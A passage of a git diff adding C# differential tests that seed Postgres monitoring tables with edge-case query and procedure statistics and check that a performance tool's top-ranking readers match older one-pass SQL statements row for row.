+        string? Db, string? Hash, string? Host, string? Text, long Exec, long Cpu, long Elapsed, long? Reads,
+        int? MaxDop = 1, int Interval = 3600, TimeSpan? At = null);
+
+    /// <summary>One <c>procedure_stats</c> snapshot.</summary>
+    private sealed record PRow(
+        string? Db, string? Schema, string? Object, string? Type, long Exec, long Cpu, long Elapsed, long? Reads,
+        int Interval = 3600, TimeSpan? At = null);
+
+    private const string WaitforText = "WAITFOR DELAY '00:00:30'";
+
+    private static List<QRow> QuerySeed()
+    {
+        var rows = new List<QRow>();
+
+        /* One winner per ranking, three snapshots each. */
+        foreach (var (name, cpu, elapsed, reads, exec) in new[]
+        {
+            ("HWCPU", 9_000L, 1_000L, 100L, 10L), ("HWDUR", 100L, 8_000L, 50L, 5L),
+            ("HWREADS", 500L, 600L, 90_000L, 20L), ("HWEXEC", 300L, 400L, 200L, 5_000L),
+        })
+        {
+            for (var i = 0; i < 3; i++)
+            {
+                rows.Add(new QRow(Db1, "0x" + name, null, "SELECT " + name, exec / 3, cpu / 3, elapsed / 3, reads / 3));
+            }
+        }
+
+        /* Exact ties on all four metrics: only the group key can order TIE1..TIE4 (and TIE5/6 in the other database). */
+        foreach (var (db, name) in new[] { (Db1, "TIE1"), (Db1, "TIE2"), (Db1, "TIE3"), (Db1, "TIE4"), (Db2, "TIE5"), (Db2, "TIE6") })
+        {
+            rows.Add(new QRow(db, "0x" + name, null, "SELECT " + name, 10, 400, 700, 55));
+            rows.Add(new QRow(db, "0x" + name, null, "SELECT " + name, 10, 100, 300, 45));
+        }
+
+        /* Ties on the metric alone: same duration, reads and executions, different CPU (the CPU tie-break), and two with equal CPU too. */
+        rows.Add(new QRow(Db1, "0xTMA", null, "SELECT TMA", 30, 900, 5_000, 777));
+        rows.Add(new QRow(Db1, "0xTMB", null, "SELECT TMB", 30, 800, 5_000, 777));
+        rows.Add(new QRow(Db1, "0xTMC", null, "SELECT TMC", 30, 800, 5_000, 777));
+        rows.Add(new QRow(Db2, "0xTMD", null, "SELECT TMD", 30, 100, 5_000, 777));
+
+        /* Reads that are NULL: all snapshots, and some snapshots (a SUM skips the NULLs). They must rank last by reads, never first. */
+        rows.Add(new QRow(Db1, "0xNULLREADS", null, "SELECT NULLREADS", 50, 9_999, 9_999, null));
+        rows.Add(new QRow(Db1, "0xNULLREADS", null, "SELECT NULLREADS", 50, 9_999, 9_999, null));
+        rows.Add(new QRow(Db1, "0xPARTNULL", null, "SELECT PARTNULL", 8, 400, 400, null));
+        rows.Add(new QRow(Db1, "0xPARTNULL", null, "SELECT PARTNULL", 8, 400, 400, 25));
+        rows.Add(new QRow(Db2, "0xNULLREADS2", null, "SELECT NULLREADS2", 1, 1, 1, null));
+
+        /* NULL key parts: a NULL database, a NULL hash, both. */
+        rows.Add(new QRow(null, "0xNULLDB", null, "SELECT NULLDB", 20, 3_000, 2_000, 5_000));
+        rows.Add(new QRow(null, "0xNULLDB", null, "SELECT NULLDB", 20, 3_000, 2_000, 5_000));
+        rows.Add(new QRow(Db1, null, null, "SELECT NULLHASH", 20, 2_900, 2_100, 5_100));
+        rows.Add(new QRow(Db1, null, null, "SELECT NULLHASH", 20, 2_900, 2_100, 5_100));
+        rows.Add(new QRow(null, null, null, "SELECT NULLBOTH", 20, 2_800, 2_200, 5_200));
+        rows.Add(new QRow(Db1, null, "dbo.usp_NullHashHosted", "SELECT NULLHASHHOST", 20, 2_700, 2_300, 5_300));
+
+        /* Host objects: one hash that is ad hoc (NULL host) and proc-hosted by two procedures, and one proc whose dynamic SQL
+           fragments across four hashes (four groups by hash, one group by host object). */
+        rows.Add(new QRow(Db1, "0xHOSTH", null, "SELECT adhoc", 40, 1_500, 1_200, 800));
+        rows.Add(new QRow(Db1, "0xHOSTH", "dbo.usp_HostA", "INSERT A EXEC", 40, 1_400, 1_300, 810));
+        rows.Add(new QRow(Db1, "0xHOSTH", "dbo.usp_HostB", "INSERT B EXEC", 40, 1_300, 1_400, 820));
+        foreach (var i in new[] { 1, 2, 3, 4 })
+        {
+            rows.Add(new QRow(Db1, "0xROLL" + i, "dbo.usp_Roll", "SELECT roll " + i, 10 * i, 300 * i, 200 * i, 100 * i));
+            rows.Add(new QRow(Db1, "0xROLL" + i, "dbo.usp_Roll", "SELECT roll " + i + " newer", 10 * i, 300 * i, 200 * i, 100 * i));
+        }
+
+        /* Zero executions: out by the HAVING with zero elapsed, in with elapsed time. */
+        rows.Add(new QRow(Db1, "0xZEROEXEC", null, "SELECT ZEROEXEC", 0, 50_000, 0, 60_000));
+        rows.Add(new QRow(Db1, "0xZEROEXECELAPSED", null, "SELECT ZEROEXECELAPSED", 0, 1_000, 4_000, 10));
+
+        /* WAITFOR shells that outrank every real group on every metric: seven of them, more than the +5 over-fetch. */
+        for (var i = 1; i <= 7; i++)
+        {
+            rows.Add(new QRow(Db1, "0xWF" + i, null, WaitforText, 90_000 + i, 900_000 + i, 900_000 + i, 900_000 + i));
+            rows.Add(new QRow(Db1, "0xWF" + i, null, WaitforText, 1, 1, 1, 1));
+        }
+
+        /* Parallelism floor: the lifetime max_dop of the group decides. */
+        rows.Add(new QRow(Db1, "0xPARSERIAL", null, "SELECT serial", 25, 1_800, 1_100, 900, MaxDop: 1));
+        rows.Add(new QRow(Db1, "0xPARWIDE", null, "SELECT wide", 25, 1_700, 1_000, 910, MaxDop: 4));
+        rows.Add(new QRow(Db1, "0xPARNULL", null, "SELECT neverCaptured", 25, 1_600, 1_050, 920, MaxDop: null));
+        rows.Add(new QRow(Db1, "0xPARMIX", null, "SELECT mixed", 12, 800, 500, 450, MaxDop: 1));
+        rows.Add(new QRow(Db1, "0xPARMIX", null, "SELECT mixed", 13, 900, 550, 460, MaxDop: 8));
+
+        /* Zero-interval rows: dropped by the honest-interval filter, so only the second snapshot counts. */
+        rows.Add(new QRow(Db1, "0xZINT", null, "SELECT zint", 70, 50_000, 50_000, 50_000, Interval: 0));
+        rows.Add(new QRow(Db1, "0xZINT", null, "SELECT zint", 7, 70, 70, 70));
+        rows.Add(new QRow(Db1, "0xZINTONLY", null, "SELECT zintonly", 70, 60_000, 60_000, 60_000, Interval: 0));
+
+        /* The window: a group wholly outside it, and one with an in-window snapshot beside huge ones before the start and after the end. */
+        rows.Add(new QRow(Db1, "0xOUTSIDE", null, "SELECT outside", 99, 99_999, 99_999, 99_999, At: TimeSpan.FromHours(-30)));
+        rows.Add(new QRow(Db1, "0xSTRADDLE", null, "SELECT straddle old", 99, 99_999, 99_999, 99_999, At: TimeSpan.FromHours(-29)));
+        rows.Add(new QRow(Db1, "0xSTRADDLE", null, "SELECT straddle in", 3, 33, 33, 33));
+        rows.Add(new QRow(Db1, "0xSTRADDLE", null, "SELECT straddle future", 99, 99_999, 99_999, 99_999, At: TimeSpan.FromHours(1)));
+
+        /* Text: the newest non-NULL text wins, and a group with only NULL texts reads an empty one. */
+        rows.Add(new QRow(Db1, "0xTEXTVAR", null, "SELECT old text", 6, 600, 600, 60));
+        rows.Add(new QRow(Db1, "0xTEXTVAR", null, "SELECT newer text", 6, 600, 600, 60));
+        rows.Add(new QRow(Db1, "0xTEXTVAR", null, null, 6, 600, 600, 60));
+        rows.Add(new QRow(Db1, "0xNOTEXT", null, null, 6, 650, 650, 65));
+
+        /* Seeded random groups from small value sets, so ties on the metric and on CPU come up on their own. */
+        var rng = new Random(5299);
+        for (var g = 0; g < 40; g++)
+        {
+            var db = rng.Next(4) == 0 ? Db2 : Db1;
+            var hash = "0xR" + rng.Next(1, 13).ToString("00", CultureInfo.InvariantCulture);
+            var host = rng.Next(5) switch { 0 => "dbo.usp_R1", 1 => "dbo.usp_R2", _ => null };
+            var snapshots = rng.Next(1, 5);
+            for (var s = 0; s < snapshots; s++)
+            {
+                rows.Add(new QRow(
+                    db, hash, host,
+                    rng.Next(6) == 0 ? null : "SELECT " + hash + " v" + rng.Next(3),
+                    new long[] { 0, 0, 5, 10, 10, 20 }[rng.Next(6)],
+                    new long[] { 0, 100, 200, 200, 500, 1_000 }[rng.Next(6)],
+                    new long[] { 0, 300, 300, 900 }[rng.Next(4)],
+                    rng.Next(5) == 0 ? null : new long[] { 0, 10, 10, 50 }[rng.Next(4)],
+                    MaxDop: new int?[] { null, 1, 1, 4 }[rng.Next(4)]));
+            }
+        }
+
+        return rows;
+    }
+
+    private static List<PRow> ProcedureSeed()
+    {
+        var rows = new List<PRow>();
+        const string Proc = "SQL_STORED_PROCEDURE";
+
+        foreach (var (name, cpu, elapsed, reads, exec) in new[]
+        {
+            ("HWCPU", 9_000L, 1_000L, 100L, 10L), ("HWDUR", 100L, 8_000L, 50L, 5L),
+            ("HWREADS", 500L, 600L, 90_000L, 20L), ("HWEXEC", 300L, 400L, 200L, 5_000L),
+        })
+        {
+            for (var i = 0; i < 3; i++)
+            {
+                rows.Add(new PRow(Db1, "dbo", "usp_" + name, Proc, exec / 3, cpu / 3, elapsed / 3, reads / 3));
+            }
+        }
+
+        foreach (var (db, name) in new[] { (Db1, "TIE1"), (Db1, "TIE2"), (Db1, "TIE3"), (Db1, "TIE4"), (Db2, "TIE5"), (Db2, "TIE6") })
+        {
+            rows.Add(new PRow(db, "dbo", "usp_" + name, Proc, 10, 400, 700, 55));
+            rows.Add(new PRow(db, "dbo", "usp_" + name, Proc, 10, 100, 300, 45));
+        }
+
+        /* The same name in two schemas and two object types: each is its own group. */
+        rows.Add(new PRow(Db1, "dbo", "usp_Same", Proc, 10, 500, 500, 50));
+        rows.Add(new PRow(Db1, "sales", "usp_Same", Proc, 10, 500, 500, 50));
+        rows.Add(new PRow(Db1, "dbo", "usp_Same", "SQL_SCALAR_FUNCTION", 10, 500, 500, 50));
+
+        rows.Add(new PRow(Db1, "dbo", "usp_TMA", Proc, 30, 900, 5_000, 777));
+        rows.Add(new PRow(Db1, "dbo", "usp_TMB", Proc, 30, 800, 5_000, 777));
+        rows.Add(new PRow(Db1, "dbo", "usp_TMC", Proc, 30, 800, 5_000, 777));
+
+        rows.Add(new PRow(Db1, "dbo", "usp_NULLREADS", Proc, 50, 9_999, 9_999, null));
+        rows.Add(new PRow(Db1, "dbo", "usp_NULLREADS", Proc, 50, 9_999, 9_999, null));
+        rows.Add(new PRow(Db1, "dbo", "usp_PARTNULL", Proc, 8, 400, 400, null));
+        rows.Add(new PRow(Db1, "dbo", "usp_PARTNULL", Proc, 8, 400, 400, 25));
+
+        /* NULL key parts: database, schema, object name and object type. */
+        rows.Add(new PRow(null, "dbo", "usp_NULLDB", Proc, 20, 3_000, 2_000, 5_000));
+        rows.Add(new PRow(Db1, null, "usp_NULLSCHEMA", Proc, 20, 2_900, 2_100, 5_100));
+        rows.Add(new PRow(Db1, "dbo", null, Proc, 20, 2_800, 2_200, 5_200));
+        rows.Add(new PRow(Db1, "dbo", "usp_NULLTYPE", null, 20, 2_700, 2_300, 5_300));
+        rows.Add(new PRow(Db1, "dbo", "usp_NULLTYPE", null, 20, 2_700, 2_300, 5_300));
+        rows.Add(new PRow(null, null, null, null, 20, 2_600, 2_400, 5_400));
+
+        rows.Add(new PRow(Db1, "dbo", "usp_ZEROEXEC", Proc, 0, 50_000, 0, 60_000));
+        rows.Add(new PRow(Db1, "dbo", "usp_ZEROEXECELAPSED", Proc, 0, 1_000, 4_000, 10));
+
+        rows.Add(new PRow(Db1, "dbo", "usp_ZINT", Proc, 70, 50_000, 50_000, 50_000, Interval: 0));
+        rows.Add(new PRow(Db1, "dbo", "usp_ZINT", Proc, 7, 70, 70, 70));
+        rows.Add(new PRow(Db1, "dbo", "usp_ZINTONLY", Proc, 70, 60_000, 60_000, 60_000, Interval: 0));
+
+        rows.Add(new PRow(Db1, "dbo", "usp_OUTSIDE", Proc, 99, 99_999, 99_999, 99_999, At: TimeSpan.FromHours(-30)));
+        rows.Add(new PRow(Db1, "dbo", "usp_STRADDLE", Proc, 99, 99_999, 99_999, 99_999, At: TimeSpan.FromHours(-29)));
+        rows.Add(new PRow(Db1, "dbo", "usp_STRADDLE", Proc, 3, 33, 33, 33));
+        rows.Add(new PRow(Db1, "dbo", "usp_STRADDLE", Proc, 99, 99_999, 99_999, 99_999, At: TimeSpan.FromHours(1)));
+
+        var rng = new Random(5226);
+        for (var g = 0; g < 30; g++)
+        {
+            var db = rng.Next(4) == 0 ? Db2 : Db1;
+            var obj = "usp_R" + rng.Next(1, 11).ToString("00", CultureInfo.InvariantCulture);
+            var schema = rng.Next(3) == 0 ? "sales" : "dbo";
+            var type = rng.Next(5) == 0 ? "SQL_SCALAR_FUNCTION" : Proc;
+            var snapshots = rng.Next(1, 5);
+            for (var s = 0; s < snapshots; s++)
+            {
+                rows.Add(new PRow(
+                    db, schema, obj, type,
+                    new long[] { 0, 0, 5, 10, 10, 20 }[rng.Next(6)],
+                    new long[] { 0, 100, 200, 200, 500, 1_000 }[rng.Next(6)],
+                    new long[] { 0, 300, 300, 900 }[rng.Next(4)],
+                    rng.Next(5) == 0 ? null : new long[] { 0, 10, 10, 50 }[rng.Next(4)]));
+            }
+        }
+
+        return rows;
+    }
+
+    // ---------------------------------------------------------------- the differential
+
+    /// <summary>
+    /// Every ranking, both query statements (per hash and rolled up by host object), every page size, the database filter
+    /// and the parallelism floor: the shipped read returns the same page as the one-pass statement, row for row.
+    /// </summary>
+    [Fact]
+    public Task Queries_EveryRankingAndShape_ReturnTheRowsTheOnePassStatementsDid() =>
+        WithSharedStoreAsync(async (connection, postgres, now, ct) =>
+        {
+            await PlantQueriesAsync(connection, ct, now);
+            var (start, end) = (now.AddHours(-24), now.AddMinutes(5));
+            var mismatches = new List<string>();
+            var stats = new Stats();
+
+            foreach (var ranking in Rankings)
+            {
+                foreach (var rollUp in new[] { false, true })
+                {
+                    foreach (var top in Tops)
+                    {
+                        foreach (var db in new string?[] { null, Db1 })
+                        {
+                            foreach (var minDop in new[] { 0, 2 })
+                            {
+                                var label = $"queries {(rollUp ? "host-object roll-up" : "per hash")} by {TopRankings.WireName(ranking)}, top {top}, db {db ?? "(all)"}, min_max_dop {minDop}";
+                                var oldSql = rollUp ? TopRankingOnePassBaseline.QueriesByHostObject(ranking) : TopRankingOnePassBaseline.Queries(ranking);
+                                var oldPage = await ReadOldQueriesAsync(postgres, oldSql, start, end, top, db, minDop, ct);
+                                var result = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(
+                                    postgres, ServerId, start, end, top, db, rollUp, minDop, ranking, ct);
+                                Assert.Equal(RetentionTier.Raw, result.Tier);
+                                var newPage = result.Rows.Select(FormatQuery).ToList();
+                                Compare(label, oldPage, newPage, mismatches);
+                                stats.Note(ranking, oldPage);
+                            }
+                        }
+                    }
+                }
+            }
+
+            AssertNoMismatches(mismatches, stats, expectedComparisons: Rankings.Length * 2 * Tops.Length * 2 * 2);
+
+            /* The traps the seed plants really are on the pages being compared (a join on plain = would lose the NULL host group). */
+            var rolled = await DarlingDataReader.GetTopQueriesByCpuAsync(
+                postgres, ServerId, start, end, top: 150, databaseName: null, rollUpByHostObject: true, ranking: TopRanking.Cpu, cancellationToken: ct);
+            Assert.Contains(rolled, r => r.HostObjectName is null);
+            Assert.Equal(4, Assert.Single(rolled, r => r.HostObjectName == "dbo.usp_Roll").DistinctQueryHashes);
+            var perHash = await DarlingDataReader.GetTopQueriesByCpuAsync(
+                postgres, ServerId, start, end, top: 150, databaseName: null, ranking: TopRanking.Reads, cancellationToken: ct);
+            Assert.Equal(4, perHash.Count(r => r.HostObjectName == "dbo.usp_Roll"));
+            Assert.Contains(perHash, r => r.DatabaseName == "" && r.QueryHash == "0xNULLDB");
+            Assert.Contains(perHash, r => r.QueryHash == "" && r.DatabaseName == Db1);
+            var readsOrder = perHash.Select(r => r.QueryHash).ToList();
+            Assert.True(readsOrder.IndexOf("0xNULLREADS") > readsOrder.IndexOf("0xPARTNULL"),
+                "a group whose reads are all NULL ranks after one that has some: " + string.Join(",", readsOrder));
+        });
+
+    /// <summary>The same comparison for the procedures grid.</summary>
+    [Fact]
+    public Task Procedures_EveryRanking_ReturnTheRowsTheOnePassStatementDid() =>
+        WithSharedStoreAsync(async (connection, postgres, now, ct) =>
+        {
+            await PlantProceduresAsync(connection, ct, now);
+            var (start, end) = (now.AddHours(-24), now.AddMinutes(5));
+            var mismatches = new List<string>();
+            var stats = new Stats();
+
+            foreach (var ranking in Rankings)
+            {
+                foreach (var top in Tops)
+                {
+                    foreach (var db in new string?[] { null, Db1 })
+                    {
+                        var label = $"procedures by {TopRankings.WireName(ranking)}, top {top}, db {db ?? "(all)"}";
+                        var oldPage = await ReadOldProceduresAsync(postgres, TopRankingOnePassBaseline.Procedures(ranking), start, end, top, db, ct);
+                        var result = await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(
+                            postgres, ServerId, start, end, top, db, ranking, ct);
+                        Assert.Equal(RetentionTier.Raw, result.Tier);
+                        var newPage = result.Rows.Select(FormatProcedure).ToList();
+                        Compare(label, oldPage, newPage, mismatches);
+                        stats.Note(ranking, oldPage);
+                    }
+                }
+            }
+
+            AssertNoMismatches(mismatches, stats, expectedComparisons: Rankings.Length * Tops.Length * 2);
+
+            var perName = await DarlingDataReader.GetTopProceduresByCpuAsync(
+                postgres, ServerId, start, end, top: 150, databaseName: null, ranking: TopRanking.Reads, cancellationToken: ct);
+            Assert.Contains(perName, r => r.DatabaseName == "" && r.ObjectName == "usp_NULLDB");
+            Assert.Contains(perName, r => r.ObjectName == "usp_NULLTYPE");
+            Assert.Equal(3, perName.Count(r => r.ObjectName == "usp_Same"));
+            var readsOrder = perName.Select(r => r.ObjectName).ToList();
+            Assert.True(readsOrder.IndexOf("usp_NULLREADS") > readsOrder.IndexOf("usp_PARTNULL"),
+                "a procedure whose reads are all NULL ranks after one that has some: " + string.Join(",", readsOrder));
+        });
+
+    // ---------------------------------------------------------------- comparing
+
+    /// <summary>What the comparisons covered, so a seed that stopped exercising ties or filled no page fails loudly.</summary>
+    private sealed class Stats
+    {
+        public int Comparisons;
+        public int EmptyPages;
+        public readonly Dictionary<TopRanking, int> Rows = [];
+
+        public void Note(TopRanking ranking, List<string> page)
+        {
+            Comparisons++;
+            EmptyPages += page.Count == 0 ? 1 : 0;
+            Rows[ranking] = Rows.GetValueOrDefault(ranking) + page.Count;
+        }
+    }
+
+    private static void Compare(string label, List<string> oldPage, List<string> newPage, List<string> mismatches)
+    {
+        if (oldPage.SequenceEqual(newPage))
+        {
+            return;
+        }
+
+        var at = 0;
+        while (at < oldPage.Count && at < newPage.Count && oldPage[at] == newPage[at])
+        {
+            at++;
+        }
+
+        mismatches.Add($"{label}: {oldPage.Count} old rows, {newPage.Count} new rows, first difference at row {at}:\n" +
+                       $"    old: {(at < oldPage.Count ? oldPage[at] : "(none)")}\n    new: {(at < newPage.Count ? newPage[at] : "(none)")}");
+    }
+
+    private static void AssertNoMismatches(List<string> mismatches, Stats stats, int expectedComparisons)
+    {
+        Assert.True(mismatches.Count == 0,
+            $"{mismatches.Count} of {stats.Comparisons} comparisons differ from the one-pass statements. First:\n" + string.Join("\n", mismatches.Take(5)));
+        Assert.Equal(expectedComparisons, stats.Comparisons);
+        Assert.True(stats.EmptyPages * 4 < stats.Comparisons, $"{stats.EmptyPages} of {stats.Comparisons} compared pages were empty; the seed no longer fills them");
+        foreach (var ranking in Rankings)
+        {
+            Assert.True(stats.Rows.GetValueOrDefault(ranking) > 50, $"{TopRankings.WireName(ranking)}: only {stats.Rows.GetValueOrDefault(ranking)} rows compared");
+        }
+    }
+
+    /// <summary>One page row as a comparable line: every column the reader maps from the statement's first block, in order.</summary>
+    private static string FormatQuery(DarlingDataReader.TopQueryRow r) => string.Join("|", new object?[]
+    {
+        r.DatabaseName, r.QueryHash, r.HostObjectName ?? "<null>", r.QueryPlanHash, r.SqlHandle, r.PlanHandle,
+        r.TotalExecutions, r.TotalCpuUs, r.TotalElapsedUs, r.TotalLogicalReads, r.TotalLogicalWrites, r.TotalPhysicalReads,
+        r.TotalRows, r.TotalSpills, r.MinDop, r.MaxDop, r.MinCpuUs, r.MaxCpuUs, r.MinElapsedUs, r.MaxElapsedUs,
+        r.QueryText ?? "", r.DistinctTexts, r.DistinctQueryHashes,
+    }.Select(v => Convert.ToString(v, CultureInfo.InvariantCulture)));
+
+    private static string FormatProcedure(DarlingDataReader.TopProcedureRow r) => string.Join("|", new object?[]
+    {
+        r.DatabaseName, r.SchemaName, r.ObjectName, r.ObjectType, r.SqlHandle, r.PlanHandle,
+        r.TotalExecutions, r.TotalCpuUs, r.TotalElapsedUs, r.TotalLogicalReads, r.TotalLogicalWrites, r.TotalPhysicalReads,
+        r.TotalSpills, r.MinCpuUs, r.MaxCpuUs, r.MinElapsedUs, r.MaxElapsedUs,
+    }.Select(v => Convert.ToString(v, CultureInfo.InvariantCulture)));
+
+    /// <summary>Runs an old one-pass queries statement and maps its columns the way the reader does (NULL text and strings read empty, NULL numbers read zero).</summary>
+    private static async Task<List<string>> ReadOldQueriesAsync(
+        NpgsqlDataSource postgres, string sql, DateTime start, DateTime end, int top, string? database, int minMaxDop, CancellationToken ct)
+    {
+        /* #5313: the shipped read refills past the WAITFOR trim (TopFill), so a page is full whenever the window has enough
+           real groups. The one-pass reference gets the same answer by over-fetching deep enough up front. */
+        Assert.Contains("LIMIT $4 + 5", sql, StringComparison.Ordinal);
+        sql = sql.Replace("LIMIT $4 + 5", "LIMIT $4 + 200", StringComparison.Ordinal);
+        /* #5309 matches the latest-text lookup NULL-safe on every key column, so a group with a NULL database or hash gets
+           its text (the old strict equality gave it none). The reference takes the same rule: a stated, deliberate change. */
+        sql = System.Text.RegularExpressions.Regex.Replace(sql, @"\b(query_hash|database_name) = r\.\1\b", "$1 IS NOT DISTINCT FROM r.$1");
+        /* #5309 also reads the newest text INSIDE the window (the old lookup had no time bound, so a row after the window could
+           supply a group's text). Same stated change, same treatment. */
+        sql = System.Text.RegularExpressions.Regex.Replace(sql, @"(SELECT query_text\s+FROM v_query_stats\s+WHERE server_id = \$1)",
+            "$1 AND collection_time >= $2 AND collection_time <= $3");
+        await using var command = postgres.CreateCommand(sql);
+        AddCommonParameters(command, start, end, top, database);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = minMaxDop });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var page = new List<string>();
+        while (await reader.ReadAsync(ct))
+        {
+            string Text(int i) => reader.IsDBNull(i) ? "" : reader.GetString(i);
+            long Long(int i) => reader.IsDBNull(i) ? 0 : reader.GetInt64(i);
+            int Int(int i) => reader.IsDBNull(i) ? 0 : Convert.ToInt32(reader.GetValue(i));
+            page.Add(string.Join("|", new object?[]
+            {
+                Text(0), Text(1), reader.IsDBNull(2) ? "<null>" : reader.GetString(2), Text(3), Text(4), Text(5),
+                Long(6), Long(7), Long(8), Long(9), Long(10), Long(11), Long(12), Long(13), Int(14), Int(15),
+                Long(16), Long(17), Long(18), Long(19), Text(20), Long(21), reader.IsDBNull(22) ? 1L : reader.GetInt64(22),
+            }.Select(v => Convert.ToString(v, CultureInfo.InvariantCulture))));
+        }
+
+        return page;
+    }
+
+    private static async Task<List<string>> ReadOldProceduresAsync(
+        NpgsqlDataSource postgres, string sql, DateTime start, DateTime end, int top, string? database, CancellationToken ct)
+    {
+        await using var command = postgres.CreateCommand(sql);
+        AddCommonParameters(command, start, end, top, database);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var page = new List<string>();
+        while (await reader.ReadAsync(ct))
+        {
+            string Text(int i) => reader.IsDBNull(i) ? "" : reader.GetString(i);
+            long Long(int i) => reader.IsDBNull(i) ? 0 : reader.GetInt64(i);
+            page.Add(string.Join("|", new object?[]
+            {
+                Text(0), Text(1), Text(2), Text(3), Text(4), Text(5),
+                Long(6), Long(7), Long(8), Long(9), Long(10), Long(11), Long(12), Long(13), Long(14), Long(15), Long(16),
+            }.Select(v => Convert.ToString(v, CultureInfo.InvariantCulture))));
+        }
+
+        return page;
+    }
+
+    /// <summary>$1 server, $2 and $3 the window, $4 top, $5 the database filter: the order both old statements and the shipped reader bind.</summary>
+    private static void AddCommonParameters(NpgsqlCommand command, DateTime start, DateTime end, int top, string? database)
+    {
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = ServerId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = start });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = end });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = top });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)database ?? DBNull.Value });
+    }
+
+    // ---------------------------------------------------------------- planting and plumbing
+
+    /// <summary>Plants the query seed. Every in-window row gets its own second, so a group's latest text is never a tie.</summary>
+    private static async Task PlantQueriesAsync(NpgsqlConnection connection, CancellationToken ct, DateTime now)
+    {
+        var tick = 0;
+        foreach (var row in QuerySeed())
+        {
+            var at = DarlingMcpTestData.TruncateToSeconds(row.At is { } offset ? now + offset : now.AddHours(-3).AddSeconds(7 * tick++));
+            byte[]? digest = row.Text is null ? null : SHA256.HashData(Encoding.UTF8.GetBytes(row.Text));
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO query_stats
+                      (collection_id, collection_time, server_id, server_name, database_name, query_hash, host_object_name,
+                       query_plan_hash, sql_handle, plan_handle, query_text, query_text_digest,
+                       delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                       delta_logical_writes, delta_physical_reads, min_worker_time, max_worker_time,
+                       min_elapsed_time, max_elapsed_time, min_dop, max_dop, sample_interval_seconds)
+                  VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22, $23, $24, $25)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, (object?)row.Db ?? DBNull.Value, (object?)row.Hash ?? DBNull.Value,
+                (object?)row.Host ?? DBNull.Value, "0xPH" + row.Hash, "0xSH" + row.Hash, "0xPLH" + row.Hash,
+                (object?)row.Text ?? DBNull.Value, (object?)digest ?? DBNull.Value,
+                row.Exec, row.Cpu, row.Elapsed, (object?)row.Reads ?? DBNull.Value, row.Cpu / 10, (object?)(row.Reads / 100) ?? DBNull.Value,
+                row.Cpu / 2, row.Cpu, row.Elapsed / 2, row.Elapsed,
+                (object?)row.MaxDop ?? DBNull.Value, (object?)row.MaxDop ?? DBNull.Value, row.Interval);
+        }
+    }
+
+    private static async Task PlantProceduresAsync(NpgsqlConnection connection, CancellationToken ct, DateTime now)
+    {
+        var tick = 0;
+        foreach (var row in ProcedureSeed())
+        {
+            var at = DarlingMcpTestData.TruncateToSeconds(row.At is { } offset ? now + offset : now.AddHours(-3).AddSeconds(7 * tick++));
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO procedure_stats
+                      (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, object_type,
+                       sql_handle, plan_handle, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                       delta_logical_writes, delta_physical_reads, delta_spills, min_worker_time, max_worker_time,
+                       min_elapsed_time, max_elapsed_time, sample_interval_seconds)
+                  VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, (object?)row.Db ?? DBNull.Value, (object?)row.Schema ?? DBNull.Value,
+                (object?)row.Object ?? DBNull.Value, (object?)row.Type ?? DBNull.Value, "0xSH" + row.Object, "0xPLH" + row.Object,
+                row.Exec, row.Cpu, row.Elapsed, (object?)row.Reads ?? DBNull.Value, row.Cpu / 10, (object?)(row.Reads / 100) ?? DBNull.Value,
+                row.Exec / 5, row.Cpu / 2, row.Cpu, row.Elapsed / 2, row.Elapsed, row.Interval);
+        }
+    }
+
+    /// <summary>Runs a body against the shared store with this class's server registered, and leaves nothing behind.</summary>
+    private static async Task WithSharedStoreAsync(Func<NpgsqlConnection, NpgsqlDataSource, DateTime, CancellationToken, Task> body)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live top-ranking differential tests.");
+        var ct = TestContext.Current.CancellationToken;
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            await body(connection, postgres, DarlingMcpTestData.Naive(DateTime.UtcNow), ct);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task CleanupAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            $"DELETE FROM query_stats WHERE server_id = {ServerId}; DELETE FROM procedure_stats WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId}");
+}
diff --git a/Darling/Darling.Tests/TopRankingHourlyLiveTests.cs b/Darling/Darling.Tests/TopRankingHourlyLiveTests.cs
new file mode 100644
index 0000000000..ea5b4e6e3f
--- /dev/null
+++ b/Darling/Darling.Tests/TopRankingHourlyLiveTests.cs
@@ -0,0 +1,293 @@
+/*
